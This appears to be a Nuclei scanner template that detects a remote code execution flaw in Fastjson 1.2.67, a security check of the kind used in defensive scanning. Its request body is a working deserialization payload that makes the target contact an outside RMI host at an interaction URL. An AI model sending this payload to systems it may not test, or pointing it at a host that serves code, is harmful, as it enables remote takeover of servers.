id: fastjson-1-2-67-rce

info:
  name: Fastjson 1.2.67 - Remote Code Execution
  author: zh
  severity: critical
  description: Fastjson 1.2.67 is susceptible to a remote code execution vulnerability.
  reference:
    - https://github.com/tdtc7/qps/tree/4042cf76a969ccded5b30f0669f67c9e58d1cfd2/Fastjson
    - https://github.com/wyzxxz/fastjson_rce_tool
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cwe-id: CWE-77
  tags: fastjson,rce,deserialization,oast

requests:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
           "@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
           "properties":{
              "@type":"java.util.Properties",
              "UserTransaction":"rmi://{{interactsh-url}}/Exploit"
           }
        }

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol   # Confirms DNS Interaction
        words:
          - "dns"

      - type: status
        negative: true
        status:
          - 200

# Enhanced by mp on 2022/05/25